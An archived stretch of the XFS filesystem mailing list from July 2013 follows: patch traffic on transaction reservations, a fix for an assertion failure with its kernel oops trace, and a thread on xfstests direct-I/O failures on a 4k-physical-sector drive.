XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) > +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) > +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) > +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) > +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) > +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) > +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) > +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) > +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) > +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) > +/* > + * Logging the inode timestamps on an fsync -- same as SWRITE > + * as long as SWRITE logs the entire inode core > + */ > +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) > +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) > +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) > +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) > +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) > +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) > +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) > +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) > +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) > +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) > +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) > +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) > +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) > +#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) > + > +/* > + * Various log count values. > + */ > +#define XFS_DEFAULT_LOG_COUNT 1 > +#define XFS_DEFAULT_PERM_LOG_COUNT 2 > +#define XFS_ITRUNCATE_LOG_COUNT 2 > +#define XFS_INACTIVE_LOG_COUNT 2 > +#define XFS_CREATE_LOG_COUNT 2 > +#define XFS_MKDIR_LOG_COUNT 3 > +#define XFS_SYMLINK_LOG_COUNT 3 > +#define XFS_REMOVE_LOG_COUNT 2 > +#define XFS_LINK_LOG_COUNT 2 > +#define XFS_RENAME_LOG_COUNT 2 > +#define XFS_WRITE_LOG_COUNT 2 > +#define XFS_ADDAFORK_LOG_COUNT 2 > +#define XFS_ATTRINVAL_LOG_COUNT 1 > +#define XFS_ATTRSET_LOG_COUNT 3 > +#define XFS_ATTRRM_LOG_COUNT 3 > + > +void xfs_trans_resv_calc(struct xfs_mount *mp, struct xfs_trans_resv *resp); > + > +#endif /* __XFS_TRANS_RESV_H__ */ > From zwu.kernel@gmail.com Thu Jul 25 08:59:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1D8097F37 for ; Thu, 25 Jul 2013 08:59:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 09F97304093 for ; Thu, 25 Jul 2013 06:59:45 -0700 (PDT) X-ASG-Debug-ID: 1374760784-04cb6c2e9c5bd90001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id mQxkmJioXaGl0b1y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 06:59:44 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 25 Jul 2013 07:38:20 -0600 Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 25 Jul 2013 07:38:16 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 0F134C4000F for ; Thu, 25 Jul 2013 07:32:50 -0600 (MDT) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6PDcBil347388 for ; Thu, 25 Jul 2013 07:38:11 -0600 Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6PDcBtn005251 for ; Thu, 25 Jul 2013 07:38:11 -0600 Received: from us.ibm.com (f17.cn.ibm.com [9.115.122.140]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with SMTP id r6PDc7rF004948; Thu, 25 Jul 2013 07:38:08 -0600 Received: by us.ibm.com (sSMTP sendmail emulation); Thu, 25 Jul 2013 21:38:46 +0800 From: zwu.kernel@gmail.com To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, david@fromorbit.com, Zhi Yong Wu Subject: [PATCH] xfs: fix an assertion failure Date: Thu, 25 Jul 2013 21:38:44 +0800 X-ASG-Orig-Subj: [PATCH] xfs: fix an assertion failure Message-Id: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.11.7 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13072513-7408-0000-0000-000012537E0F X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1374760784 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name From: Zhi Yong Wu When running the compilebench, one assertion failure was found. This related line of code was introduced by commit 5f6bed76c0. commit 5f6bed76c0c85cb4d04885a5de00b629deee550b Author: Dave Chinner Date: Thu Jun 27 16:04:52 2013 +1000 xfs: Introduce an ordered buffer item [ 500.464036] XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 942 [ 500.465602] ------------[ cut here ]------------ [ 500.466258] kernel BUG at fs/xfs/xfs_message.c:108! [ 500.466440] invalid opcode: 0000 [#1] SMP [ 500.466440] Modules linked in: [ 500.466440] CPU: 0 PID: 40 Comm: kworker/u2:1 Not tainted 3.11.0-rc2+ #955 [ 500.466440] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 500.466440] Workqueue: writeback bdi_writeback_workfn (flush-8:0) [ 500.466440] task: ffff880292260000 ti: ffff880292250000 task.ti: ffff880292250000 [ 500.466440] RIP: 0010:[] [] assfail+0x22/0x30 [ 500.466440] RSP: 0018:ffff8802922515f8 EFLAGS: 00010292 [ 500.466440] RAX: 0000000000000068 RBX: ffff880289b4a570 RCX: 0000000000000006 [ 500.466440] RDX: 0000000000000006 RSI: ffff880292260788 RDI: ffff880292260000 [ 500.466440] RBP: ffff8802922515f8 R08: 0000000000000000 R09: 0000000000000001 [ 500.466440] R10: 0000000000000000 R11: 0000000000000000 R12: ffff880291828000 [ 500.466440] R13: ffff880289b4a570 R14: ffffffff81342aeb R15: ffff88025f344220 [ 500.466440] FS: 0000000000000000(0000) GS:ffff88029fc00000(0000) knlGS:0000000000000000 [ 500.466440] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 500.466440] CR2: 0000000009b01008 CR3: 0000000291874000 CR4: 00000000000006f0 [ 500.466440] Stack: [ 500.466440] ffff880292251628 ffffffff813428df ffff880289b4a570 0000000000000002 [ 500.466440] ffff880291828000 0000000000000001 ffff880292251668 ffffffff81342aeb [ 500.466440] 0000000000000000 ffff880289b4a570 ffff8802762070a0 ffffffffffffffff [ 500.466440] Call Trace: [ 500.466440] [] xfs_buf_item_relse+0x4f/0xd0 [ 500.466440] [] xfs_buf_item_unlock+0x18b/0x1e0 [ 500.466440] [] xfs_trans_free_items+0x7d/0xb0 [ 500.466440] [] xfs_trans_cancel+0x13c/0x1b0 [ 500.466440] [] xfs_iomap_write_allocate+0x249/0x350 [ 500.466440] [] xfs_map_blocks+0x2e2/0x350 [ 500.466440] [] xfs_vm_writepage+0x236/0x5e0 [ 500.466440] [] __writepage+0x1a/0x50 [ 500.466440] [] write_cache_pages+0x225/0x4a0 [ 500.466440] [] ? mapping_tagged+0x20/0x20 [ 500.466440] [] ? xfs_vm_writepages+0x35/0x70 [ 500.466440] [] generic_writepages+0x4d/0x70 [ 500.466440] [] xfs_vm_writepages+0x50/0x70 [ 500.466440] [] do_writepages+0x21/0x50 [ 500.466440] [] __writeback_single_inode+0x40/0x230 [ 500.466440] [] writeback_sb_inodes+0x291/0x460 [ 500.466440] [] __writeback_inodes_wb+0x9f/0xd0 [ 500.466440] [] wb_writeback+0x24b/0x2e0 [ 500.466440] [] ? global_dirtyable_memory+0x1a/0x60 [ 500.466440] [] bdi_writeback_workfn+0x1d6/0x3d0 [ 500.466440] [] process_one_work+0x1eb/0x4f0 [ 500.466440] [] ? process_one_work+0x189/0x4f0 [ 500.466440] [] worker_thread+0x11b/0x370 [ 500.466440] [] ? rescuer_thread+0x330/0x330 [ 500.466440] [] kthread+0xea/0xf0 [ 500.466440] [] ? flush_kthread_work+0x1b0/0x1b0 [ 500.466440] [] ret_from_fork+0x7c/0xb0 [ 500.466440] [] ? flush_kthread_work+0x1b0/0x1b0 [ 500.466440] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 f1 41 89 d0 48 c7 c6 48 b7 c7 81 48 89 fa 31 c0 48 89 e5 31 ff e8 de fb ff ff <0f> 0b 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 [ 500.466440] RIP [] assfail+0x22/0x30 [ 500.466440] RSP [ 500.510159] ---[ end trace 48b882d5f764ca11 ]--- Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_buf_item.c | 1 - 1 file changed, 1 deletion(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index bfc4e0c..b4d42ae 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -939,7 +939,6 @@ xfs_buf_item_relse( xfs_buf_log_item_t *bip = bp->b_fspriv; trace_xfs_buf_item_relse(bp, _RET_IP_); - ASSERT(!(bip->bli_item.li_flags & XFS_LI_IN_AIL)); bp->b_fspriv = bip->bli_item.li_bio_list; if (bp->b_fspriv == NULL) -- 1.7.11.7 From dwight.engen@oracle.com Thu Jul 25 09:28:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A2C9C7F37 for ; Thu, 25 Jul 2013 09:28:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 90B8A304098 for ; Thu, 25 Jul 2013 07:28:00 -0700 (PDT) X-ASG-Debug-ID: 1374762478-04cbb02c3a60900001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ukm6fepZAw7gj7IE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 07:27:59 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PERijA005060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 14:27:49 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PERgZd004995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 14:27:44 GMT Received: from abhmt105.oracle.com (abhmt105.oracle.com [141.146.116.57]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PERgYN011474; Thu, 25 Jul 2013 14:27:42 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 07:27:42 -0700 Date: Thu, 25 Jul 2013 10:27:54 -0400 From: Dwight Engen To: stan@hardwarefreak.com, Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive Message-ID: <20130725102754.7c564098@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive In-Reply-To: <51F0AB56.7020705@hardwarefreak.com> References: <20130724143208.34b77534@oracle.com> <20130724235739.GR19986@dastard> <51F0AB56.7020705@hardwarefreak.com> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374762479 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, 24 Jul 2013 23:36:38 -0500 Stan Hoeppner wrote: > On 7/24/2013 6:57 PM, Dave Chinner wrote: > > On Wed, Jul 24, 2013 at 02:32:08PM -0400, Dwight Engen wrote: > >> Tests 091,240, and 268 are failing on my 4k sector hard disk. The > >> dio writes from fsx and aiodio_sparse2 are failing on xfs with > >> EINVAL which is returned from the check at the top of > >> xfs_file_dio_aio_write(). > >> > >> The fix is to use blockdev -getpbsz to get the physical sector > >> size instead of the logical sector size. This makes 091 and 268 > >> work. 240 will not run on a 4k drive since fs block size == device > >> block size. Tested against xfs,ext4, and btrfs. > > > > What's the logical sector size of the drive? If it's 4k, then > > blockdev --getss should be returning 4k. If it's not, then either > > the drive is reporting that it supports 512 bytes sectors when it > > doesn't (i.e. the drive is broken) or blockdev is returning the > > wrong information (i.e. blockdev is broken).... # blockdev --getss /dev/sda 512 # blockdev --getpbsz /dev/sda 4096 So it looks like blockdev is reporting the correct values. > > What does mkfs.xfs output on that device? mkfs.xfs -f /dev/sda1 meta-data=/dev/sda1 isize=256 agcount=8, agsize=262144 blks = sectsz=4096 attr=2, projid32bit=0 data = bsize=4096 blocks=2097152, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal log bsize=4096 blocks=2560, version=2 = sectsz=4096 sunit=1 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 So mkfs.xfs is reporting sectsz=4096. I added a printf into mkfs.xfs right after it is setting sectorsize = ft.psectorsize and saw: sectorsize 4096 ft.psectorsize 4096 ft.lsectorsize 512 > >> rm -f $TEST_DIR/aiodio_sparse > >> > >> -logical_block_size=`blockdev --getss $TEST_DEV` > >> +logical_block_size=`blockdev --getpbsz $TEST_DEV` > > > > FWIW, that doesn't make much sense - putting the physical block size > > into a variable named "logical_block_size"..... Yeah, that name wouldn't make much sense with this change. Its actually being used to compare to the fs block size and then its passed into aiodio_sparse2 as offset. 091 and 268 use the more generic name bsize, should I can change it to that? > > Cheers, > > > > Dave. > > AFAIK there are no native 4K sector drives on the market yet. All of > the currently shipping models with physical 4K sectors are "Advanced > Format" drives. The Advanced Format standard specifies 4K physical > sectors -internal- to the drive, but with traditional 512B LBA > addressing. > > Dwight, what disk drive is this in question? Make/model? Yep its an Advanced Format drive, some relevant lines from dmesg: ata1.00: ATA-8: HITACHI HTS725050A7E630, GH2ZB390, max UDMA/133 scsi 0:0:0:0: Direct-Access ATA HITACHI HTS72505 GH2Z PQ: 0 ANSI: 5 sd 0:0:0:0: [sda] 976773168 512-byte logical blocks: (500 GB/465 GiB) sd 0:0:0:0: [sda] 4096-byte physical blocks From tinguely@sgi.com Thu Jul 25 10:02:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 241477F37 for ; Thu, 25 Jul 2013 10:02:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF17130408D; Thu, 25 Jul 2013 08:02:40 -0700 (PDT) Message-ID: <51F13E10.1010805@sgi.com> Date: Thu, 25 Jul 2013 10:02:40 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <20130725002108.GA11222@dastard> In-Reply-To: <20130725002108.GA11222@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/24/13 19:21, Dave Chinner wrote: > On Wed, Jul 24, 2013 at 08:28:42AM -0500, Mark Tinguely wrote: >> If you could please redo the test and get the stack traces with >> /proc/sysrq-trigger and if you kernel works with crash, a core dump. >> For the stack trace, I mostly want to know if it has several >> "xlog_grant_head_wait" entries in it, because ... >> >> ...I seemed to have triggered a couple log space reservation hangs >> with fsstress one XFS partition and a mega-copy on another >> partition, but will have to graft the new XFS tree onto a Linux 3.10 >> kernel to get crash (and one of my sata controllers) to work again. > > They are unrelated to this patchset. > > Somewhere in the code there > is a mismatch between what we reserve as the base requirement for an > actual log write and what the CIL actually steals, and that is, most > likely, what is leading to log hangs. > > This is demonstratable in the fact that generic/070 on 512 byte > block size filesystems regularly hits a transaction reservation > exhausted assert failure on transaction commit of the periodic log > dummy transaction on my test rigs. > > Cheers, > > Dave. In testing patch 44, I did not trip over any cil stealing asserts before the hang. I think the cil steal assert is a different and a legitimate complaint. When I tripped over the ASSERT in with the v3 inode enabled, the writeid only reserves space for the sb but there were occasions of root btree and attribute fork entry that were also logged. patch 43 runs for hours without incident. Previous to this series, I ran the same tests with parent pointer testing with much higher log reservations for day or two and never got a hang. I tested patch 44 with copy like tests and both times it hung both times - not a convincing number of tests. A quick look, I see an empty AIL, empty CIL, the CTX is using 0 bytes, doesn't look like there are any cil pushes going nor any older ctx, the ctx has an empty ticket reservation. The log tail is 0xd000014d7 and reserve/grant is 0xe00204d04. The next reservation is for a rename transaction that uses just over the log space left. There has to be a log space leak. I will go back patch 43 on one machine and patch 44 on another and make sure it is patch 44 is causing the problem. --Mark. From sandeen@sandeen.net Thu Jul 25 10:23:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 345937F37 for ; Thu, 25 Jul 2013 10:23:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 23C188F8033 for ; Thu, 25 Jul 2013 08:23:20 -0700 (PDT) X-ASG-Debug-ID: 1374765798-04cbb02c3c65880001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id p5lZFSqOo1z3aDy4 for ; Thu, 25 Jul 2013 08:23:18 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 07F3361C8401; Thu, 25 Jul 2013 10:23:17 -0500 (CDT) Message-ID: <51F142E7.4050500@sandeen.net> Date: Thu, 25 Jul 2013 10:23:19 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: stan@hardwarefreak.com, Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive References: <20130724143208.34b77534@oracle.com> <20130724235739.GR19986@dastard> <51F0AB56.7020705@hardwarefreak.com> <20130725102754.7c564098@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091, 240, 268 fix for xfs on 4k sector hard drive In-Reply-To: <20130725102754.7c564098@oracle.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374765798 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/25/13 9:27 AM, Dwight Engen wrote: > On Wed, 24 Jul 2013 23:36:38 -0500 > Stan Hoeppner wrote: > >> On 7/24/2013 6:57 PM, Dave Chinner wrote: >>> On Wed, Jul 24, 2013 at 02:32:08PM -0400, Dwight Engen wrote: >>>> Tests 091,240, and 268 are failing on my 4k sector hard disk. The >>>> dio writes from fsx and aiodio_sparse2 are failing on xfs with >>>> EINVAL which is returned from the check at the top of >>>> xfs_file_dio_aio_write(). >>>> >>>> The fix is to use blockdev -getpbsz to get the physical sector >>>> size instead of the logical sector size. This makes 091 and 268 >>>> work. 240 will not run on a 4k drive since fs block size == device >>>> block size. Tested against xfs,ext4, and btrfs. >>> >>> What's the logical sector size of the drive? If it's 4k, then >>> blockdev --getss should be returning 4k. If it's not, then either >>> the drive is reporting that it supports 512 bytes sectors when it >>> doesn't (i.e. the drive is broken) or blockdev is returning the >>> wrong information (i.e. blockdev is broken).... > > # blockdev --getss /dev/sda > 512 > # blockdev --getpbsz /dev/sda > 4096 > > So it looks like blockdev is reporting the correct values. > >>> What does mkfs.xfs output on that device? > > mkfs.xfs -f /dev/sda1 > meta-data=/dev/sda1 isize=256 agcount=8, agsize=262144 > blks = sectsz=4096 attr=2, projid32bit=0 > data = bsize=4096 blocks=2097152, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal log bsize=4096 blocks=2560, version=2 > = sectsz=4096 sunit=1 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > > So mkfs.xfs is reporting sectsz=4096. I added a printf into mkfs.xfs > right after it is setting sectorsize = ft.psectorsize and saw: > > sectorsize 4096 ft.psectorsize 4096 ft.lsectorsize 512 There was a change to mkfs to make the sectorsize == physical sector size: commit 287d168b550857ce40e04b5f618d7eb91b87022f Author: Eric Sandeen Date: Thu Mar 1 22:46:35 2012 -0600 mkfs.xfs: properly handle physical sector size This splits the fs_topology structure "sectorsize" into logical & physical, and gets both via blkid_get_topology(). This primarily allows us to default to using the physical sectorsize for mkfs's "sector size" value, the fundamental size of any IOs the filesystem will perform. and the rationale was: /* * Unless specified manually on the command line use the + * advertised sector size of the device. We use the physical + * sector size unless the requested block size is smaller + * than that, then we can use logical, but warn about the + * inefficiency. So, I hadn't thought about this, but I guess using physical sector size during mkfs trickles all the way to the DIO tests, and rejects anything smaller, including otherwise-acceptable smaller logical sector sizes :/ (You can probably mkfs w/ an explicit 512 sector size, and confirm that 512-byte DIOs work again) bleah, perhaps that was a mistake - or perhaps we need to fix kernelspace to prefer physical-size IOs, but allow logical-size if a DIO requests it. >>>> rm -f $TEST_DIR/aiodio_sparse >>>> >>>> -logical_block_size=`blockdev --getss $TEST_DEV` >>>> +logical_block_size=`blockdev --getpbsz $TEST_DEV` >>> >>> FWIW, that doesn't make much sense - putting the physical block size >>> into a variable named "logical_block_size"..... > > Yeah, that name wouldn't make much sense with this change. Its actually > being used to compare to the fs block size and then its passed into > aiodio_sparse2 as offset. 091 and 268 use the more generic name bsize, > should I can change it to that? Well, that was put there with: commit 2dbd21dc152d89715263990c881025f17c7b632e Author: Jeff Moyer Date: Fri Feb 11 15:20:02 2011 -0500 240: only run when the file system block size is larger than the disk sector size This test really wants to test partial file-system block I/Os. Thus, if the device has a 4K sector size, and the file system has a 4K block size, there's really no point in running the test. In the attached patch, I check that the fs block size is larger than the device's logical block size, which should cover a 4k device block size with a 16k fs block size. I verified that the patched test does not run on my 4k sector device with a 4k file system. I also verified that it continues to run on a 512 byte logical sector device with a 4k file system block size. Signed-off-by: Jeff Moyer Signed-off-by: Christoph Hellwig ... +# This test need only be run in the case where the logical block size +# of the device can be smaller than the file system block size. >>> Cheers, >>> >>> Dave. >> >> AFAIK there are no native 4K sector drives on the market yet. All of >> the currently shipping models with physical 4K sectors are "Advanced >> Format" drives. The Advanced Format standard specifies 4K physical >> sectors -internal- to the drive, but with traditional 512B LBA >> addressing. >> >> Dwight, what disk drive is this in question? Make/model? > > Yep its an Advanced Format drive, some relevant lines from dmesg: > > ata1.00: ATA-8: HITACHI HTS725050A7E630, GH2ZB390, max UDMA/133 > scsi 0:0:0:0: Direct-Access ATA HITACHI HTS72505 GH2Z PQ: 0 ANSI: 5 > sd 0:0:0:0: [sda] 976773168 512-byte logical blocks: (500 GB/465 GiB) > sd 0:0:0:0: [sda] 4096-byte physical blocks > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From dwight.engen@oracle.com Thu Jul 25 10:49:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A0FB7F37 for ; Thu, 25 Jul 2013 10:49:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4AE288F8037 for ; Thu, 25 Jul 2013 08:49:13 -0700 (PDT) X-ASG-Debug-ID: 1374767352-04cbb02c3e67b00001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com 